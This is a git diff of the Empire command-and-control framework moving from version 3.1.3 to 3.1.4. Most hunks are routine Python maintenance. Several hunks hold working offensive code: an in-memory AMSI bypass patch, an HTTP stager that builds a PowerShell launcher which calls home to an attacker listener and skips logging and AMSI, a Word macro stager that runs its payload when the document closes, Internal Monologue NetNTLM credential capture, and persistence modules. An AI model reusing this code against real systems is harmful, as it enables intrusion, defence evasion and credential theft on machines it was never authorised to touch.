diff --git a/README.md b/README.md index 64c70cd33..05f283b8c 100644 --- a/README.md +++ b/README.md @@ -44,7 +44,7 @@ Next, we have added Function Name Aliasing, which automates the ability to rando Please see our [Releases](https://github.com/BC-SECURITY/Empire/releases) or [Changelog](/changelog) page for detailed release notes. ## Install -As of Empire 3.1.0, Empire only officially supports Python 3. If you still need Python 2 support, please use the [3.0.x branch](https://github.com/BC-SECURITY/Empire/tree/3.0.x) or releases. Also consider using our [Prebuilt Docker containers](#Docker) which use Python 3. +As of Empire 3.1.0, Empire only officially supports Python 3. If you still need Python 2 support, please use the [3.0.x branch](https://github.com/BC-SECURITY/Empire/tree/v3.0.7) or releases. Also consider using our [Prebuilt Docker containers](#Docker) which use Python 3. __Note:__ Run ```./setup/reset.sh``` before starting Empire 3.1 for the first time. ### Kali diff --git a/VERSION b/VERSION index 711ee4f50..b532f3dc3 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -3.1.3 \ No newline at end of file +3.1.4 \ No newline at end of file diff --git a/changelog b/changelog index e58238e7c..af277017c 100644 --- a/changelog +++ b/changelog @@ -1,9 +1,19 @@ +4/4/2020 +------------ +- Version 3.1.4 Master Release + - Fixed non-ascii filename download error - #141 (@tyraniter) + - Updated payload evasion against Defender - #147 (@Hubbl3) + - Added reset flag to empire launcher - #147 (@Cx01N) + - Replaced imp package with importlib - #108 (@Cx01N) + - Fixed internal monologue issue with only running once - #43 (@Cx01N) + - Fixed ascii encode error in powerbreach modules - #150 (@CykuTW) + 3/22/2020 ------------ - Version 3.1.3 Master Release - Fixed errors with OneDrive listener - #40 (@Cx01N) - Fixed REST API get config error - #131 (@chenxiangfang) - - Increased timer for stale agent checkins - #130 (@C01N) + - Increased timer for stale agent checkins - #130 (@Cx01N) 3/13/2020 ------------ diff --git a/data/agent/agent.py b/data/agent/agent.py index 2bcdf0f11..3c91a7d85 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -11,7 +11,8 @@ import http.server import zipfile import io -import imp +import importlib.util +import types import re import shutil import pwd @@ -594,7 +595,7 @@ def find_module(self, fullname, path=None): def load_module(self, fullname): submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname) code = compile(source, fullpath, 'exec') - mod = sys.modules.setdefault(fullname, imp.new_module(fullname)) + mod = sys.modules.setdefault(fullname, types.ModuleType(fullname)) mod.__loader__ = self mod.__file__ = fullpath mod.__name__ = fullname diff --git a/data/module_source/credentials/Invoke-InternalMonologue.ps1 b/data/module_source/credentials/Invoke-InternalMonologue.ps1 index 7de3d484b..1de1e6c71 100644 --- a/data/module_source/credentials/Invoke-InternalMonologue.ps1 +++ b/data/module_source/credentials/Invoke-InternalMonologue.ps1 @@ -489,7 +489,10 @@ namespace InternalMonologue } } - + if (authenticatedUsers.Count > 0) + { + authenticatedUsers.Clear(); + } //Extended NetNTLM Downgrade and impersonation can only work if the current process is elevated if (IsElevated()) { @@ -537,7 +540,7 @@ namespace InternalMonologue //If the process is not elevated, skip downgrade and impersonation and only perform an Internal Monologue Attack for the current user if (verbose == true) Console.WriteLine("Not elevated. Performing attack with current NTLM settings on current user"); Console.WriteLine(InternalMonologueForCurrentUser(challenge)); - } + } } //This function performs an Internal Monologue Attack in the context of the current user and returns the NetNTLM response for the challenge 0x1122334455667788 @@ -640,7 +643,7 @@ namespace InternalMonologue { result = ConvertHex(ByteArrayToString(user)) + "::" + ConvertHex(ByteArrayToString(domain)) + ":" + challenge + ":" + ByteArrayToString(nt_resp).Substring(0,32) + ":" + ByteArrayToString(nt_resp).Substring(32); } - + return result; } @@ -700,7 +703,7 @@ namespace InternalMonologue } - return ascii; + return ascii; } } @@ -888,4 +891,4 @@ $StringWriter = New-Object IO.StringWriter [Console]::SetOut($OldConsoleOut) $Results = $StringWriter.ToString() $Results -} +} \ No newline at end of file diff --git a/empire b/empire index fa6e51320..feff904eb 100755 --- a/empire +++ b/empire @@ -1446,6 +1446,7 @@ if __name__ == '__main__': generalGroup = parser.add_argument_group('General Options') generalGroup.add_argument('--debug', nargs='?', const='1', help='Debug level for output (default of 1, 2 for msg display).') + generalGroup.add_argument('--reset-empire', action='store_true', help="Resets Empire's database to defaults.") generalGroup.add_argument('-v', '--version', action='store_true', help='Display current Empire version.') generalGroup.add_argument('-r','--resource', nargs=1, help='Run the Empire commands in the specified resource file after startup.') @@ -1473,6 +1474,9 @@ if __name__ == '__main__': if args.version: print(empire.VERSION) + if args.reset_empire: + subprocess.call("./setup/reset.sh") + elif args.rest: # start an Empire instance and RESTful API main = empire.MainMenu(args=args) diff --git a/lib/common/bypasses.py b/lib/common/bypasses.py index a80905dcf..96b870ac0 100644 --- a/lib/common/bypasses.py +++ b/lib/common/bypasses.py @@ -64,7 +64,7 @@ def AMSIBypass2(): [Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); - [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6) + [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6); """ bypass = bypass.replace('"kernel32"', '`"kernel32`"') bypass = bypass.replace('@"','"') diff --git a/lib/common/empire.py b/lib/common/empire.py index acd71a18d..75e9061a9 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -15,7 +15,7 @@ from builtins import str from builtins import range -VERSION = "3.1.3 BC-Security Fork" +VERSION = "3.1.4 BC-Security Fork" from pydispatch import dispatcher @@ -538,7 +538,6 @@ def do_listeners(self, line): def do_uselistener(self, line): "Use an Empire listener module." - print("uselistener") parts = line.split(' ') if parts[0] not in self.listeners.loadedListeners: diff --git a/lib/common/listeners.py b/lib/common/listeners.py index 059a9661d..20edde79b 100644 --- a/lib/common/listeners.py +++ b/lib/common/listeners.py @@ -11,7 +11,7 @@ from builtins import object import sys import fnmatch -import imp +import importlib.util from . import helpers import os import pickle @@ -65,8 +65,10 @@ def load_listeners(self): listenerName = filePath.split("/lib/listeners/")[-1][0:-3] # instantiate the listener module and save it to the internal cache - self.loadedListeners[listenerName] = imp.load_source(listenerName, filePath).Listener(self.mainMenu, []) - + spec = importlib.util.spec_from_file_location(listenerName, filePath) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + self.loadedListeners[listenerName] = mod.Listener(self.mainMenu, []) def set_listener_option(self, listenerName, option, value): """ diff --git a/lib/common/modules.py b/lib/common/modules.py index cae5b6075..bf2b84352 100644 --- a/lib/common/modules.py +++ b/lib/common/modules.py @@ -12,7 +12,7 @@ from builtins import object import fnmatch import os -import imp +import importlib.util from . import messages from . import helpers @@ -60,8 +60,10 @@ def load_modules(self, rootPath=''): moduleName = "external/%s" %(moduleName) # instantiate the module and save it to the internal cache - self.modules[moduleName] = imp.load_source(moduleName, filePath).Module(self.mainMenu, []) - + spec = importlib.util.spec_from_file_location(moduleName, filePath) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + self.modules[moduleName] = mod.Module(self.mainMenu, []) def reload_module(self, moduleToReload): """ @@ -84,8 +86,10 @@ def reload_module(self, moduleToReload): # check to make sure we've found the specific module if moduleName.lower() == moduleToReload.lower(): # instantiate the module and save it to the internal cache - self.modules[moduleName] = imp.load_source(moduleName, filePath).Module(self.mainMenu, []) - + spec = importlib.util.spec_from_file_location(moduleName, filePath) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + self.modules[moduleName] = mod.Module(self.mainMenu, []) def search_modules(self, searchTerm): """ diff --git a/lib/common/packets.py b/lib/common/packets.py index f65772b48..517f32579 100644 --- a/lib/common/packets.py +++ b/lib/common/packets.py @@ -165,7 +165,7 @@ def build_task_packet(taskName, data, resultID): totalPacket = struct.pack('=H', 1) packetNum = struct.pack('=H', 1) resultID = struct.pack('=H', resultID) - length = struct.pack('=L', len(data)) + length = struct.pack('=L', len(data.encode("UTF-8"))) return taskType + totalPacket + packetNum + resultID + length + data.encode("UTF-8") def parse_result_packet(packet, offset=0): diff --git a/lib/common/stagers.py b/lib/common/stagers.py index 2fa2d5928..274bfb3a1 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -23,7 +23,7 @@ from builtins import object from past.utils import old_div import fnmatch -import imp +import importlib.util from . import helpers import errno import os @@ -73,7 +73,10 @@ def load_stagers(self): stagerName = filePath.split("/lib/stagers/")[-1][0:-3] # instantiate the module and save it to the internal cache - self.stagers[stagerName] = imp.load_source(stagerName, filePath).Stager(self.mainMenu, []) + spec = importlib.util.spec_from_file_location(stagerName, filePath) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + self.stagers[stagerName] = mod.Stager(self.mainMenu, []) def set_stager_option(self, option, value): diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 5d3d4b8e9..27945a86e 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -319,17 +319,18 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass - if scriptLogBypass: - stager += bypasses.scriptBlockLogBypass() - # @mattifestation's AMSI bypass - if AMSIBypass: - stager += bypasses.AMSIBypass() - # rastamouse AMSI bypass - if AMSIBypass2: - stager += bypasses.AMSIBypass2() + if scriptLogBypass: + stager += bypasses.scriptBlockLogBypass() + # @mattifestation's AMSI bypass + if AMSIBypass: + stager += bypasses.AMSIBypass() + # rastamouse AMSI bypass + if AMSIBypass2: + stager += bypasses.AMSIBypass2() + if safeChecks.lower() == 'true': stager += "};" stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") - + stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + "=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': @@ -339,7 +340,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - + stager += "$ser=" + helpers.obfuscate_call_home_address(host) + ";$t='" + stage0 + "';" if userAgent.lower() != 'none': stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + '.Headers.Add(') @@ -398,7 +399,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) - stager += "$ser=" + helpers.obfuscate_call_home_address(host) + ";$t='" + stage0 + "';" + # Add custom headers if any if customHeaders != []: for header in customHeaders: diff --git a/lib/modules/powershell/persistence/powerbreach/deaduser.py b/lib/modules/powershell/persistence/powerbreach/deaduser.py index d9b826502..d3b6add55 100644 --- a/lib/modules/powershell/persistence/powerbreach/deaduser.py +++ b/lib/modules/powershell/persistence/powerbreach/deaduser.py @@ -163,8 +163,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): return "" else: script = script.replace("REPLACE_LAUNCHER", stagerCode) - script = script.encode('ascii', 'ignore') - + for option,values in self.options.items(): if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile": if values['Value'] and values['Value'] != '': diff --git a/lib/modules/powershell/persistence/powerbreach/eventlog.py b/lib/modules/powershell/persistence/powerbreach/eventlog.py index aa9db97a7..0bff96bba 100644 --- a/lib/modules/powershell/persistence/powerbreach/eventlog.py +++ b/lib/modules/powershell/persistence/powerbreach/eventlog.py @@ -138,8 +138,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): return "" else: script = script.replace("REPLACE_LAUNCHER", stagerCode) - script = script.encode('ascii', 'ignore') - + for option,values in self.options.items(): if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile": if values['Value'] and values['Value'] != '': diff --git a/lib/modules/powershell/persistence/powerbreach/resolver.py b/lib/modules/powershell/persistence/powerbreach/resolver.py index b1ddbde8b..db7169021 100644 --- a/lib/modules/powershell/persistence/powerbreach/resolver.py +++ b/lib/modules/powershell/persistence/powerbreach/resolver.py @@ -150,7 +150,6 @@ def generate(self, obfuscate=False, obfuscationCommand=""): return "" else: script = script.replace("REPLACE_LAUNCHER", stagerCode) - script = script.encode('ascii', 'ignore') for option,values in self.options.items(): if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile": diff --git a/lib/modules/python/collection/osx/keychaindump_chainbreaker.py b/lib/modules/python/collection/osx/keychaindump_chainbreaker.py index 62175ef18..0cfb9e4c0 100644 --- a/lib/modules/python/collection/osx/keychaindump_chainbreaker.py +++ b/lib/modules/python/collection/osx/keychaindump_chainbreaker.py @@ -1990,8 +1990,6 @@ def kcdecrypt(key, iv, data): return data cipher = triple_des(key, CBC, iv) - # the line below is for pycrypto instead - #cipher = DES3.new( key, DES3.MODE_CBC, iv ) plain = cipher.decrypt(data) diff --git a/lib/stagers/windows/macro.py b/lib/stagers/windows/macro.py index 431bdf25d..1714fba4a 100644 --- a/lib/stagers/windows/macro.py +++ b/lib/stagers/windows/macro.py @@ -170,20 +170,12 @@ def generate(self): for chunk in chunks[1:]: payload += "\t"+Str+" = "+Str+" + \"" + str(chunk) + "\"\n" - macro = "Sub Auto_Open()\n" - macro += "\t"+Method+"\n" - macro += "End Sub\n\n" - macro += "Sub AutoOpen()\n" - macro += "\t"+Method+"\n" - macro += "End Sub\n\n" - - macro += "Sub Document_Open()\n" + macro = "Sub AutoClose()\n" macro += "\t"+Method+"\n" macro += "End Sub\n\n" macro += "Public Function "+Method+"() As Variant\n" - macro += "\tstrComputer = \".\"\n" - macro += "\tSet objWMIService = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\n" + if OutlookEvasionBool == True: macro += "\tSet ID = objWMIService.ExecQuery(\"Select IdentifyingNumber from Win32_ComputerSystemproduct\")\n" macro += "\tFor Each objItem In ID\n" @@ -196,13 +188,8 @@ def generate(self): macro +="\tNext\n" macro += payload - macro += "\tConst HIDDEN_WINDOW = 0\n" - - macro += "\tSet objStartup = objWMIService.Get(\"Win32_ProcessStartup\")\n" - macro += "\tSet objConfig = objStartup.SpawnInstance_\n" - macro += "\tobjConfig.ShowWindow = HIDDEN_WINDOW\n" - macro += "\tSet objProcess = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n" - macro += "\tobjProcess.Create "+Str+", Null, objConfig, intProcessID\n" + macro += "\tSet asd = CreateObject(\"WScript.Shell\")\n" + macro += "\tasd.Run("+Str+")\n" macro += "End Function\n" return macro diff --git a/setup/requirements.txt b/setup/requirements.txt index 7b49f056d..55e34db81 100644 --- a/setup/requirements.txt +++ b/setup/requirements.txt @@ -15,7 +15,7 @@ jinja2 cryptography pyminifier xlutils -pycrypto pefile simplejson bcrypt +pycrypto diff --git a/setup/requirements_libssl1.0.txt b/setup/requirements_libssl1.0.txt index 89724f297..6db62ca7c 100644 --- a/setup/requirements_libssl1.0.txt +++ b/setup/requirements_libssl1.0.txt @@ -15,5 +15,5 @@ jinja2 cryptography pyminifier==2.1 xlutils -pycrypto pefile +pycrypto diff --git a/setup/reset.sh b/setup/reset.sh index 454331e86..6d3818704 100755 --- a/setup/reset.sh +++ b/setup/reset.sh @@ -32,10 +32,3 @@ if [ -d ./downloads/ ] then rm -rf ./downloads/ fi - -# start up Empire if not in docker otherwise return -if [ -f /.dockerenv ]; then - echo " [*] Empire reset complete returning back to Docker" -else - ./empire -fi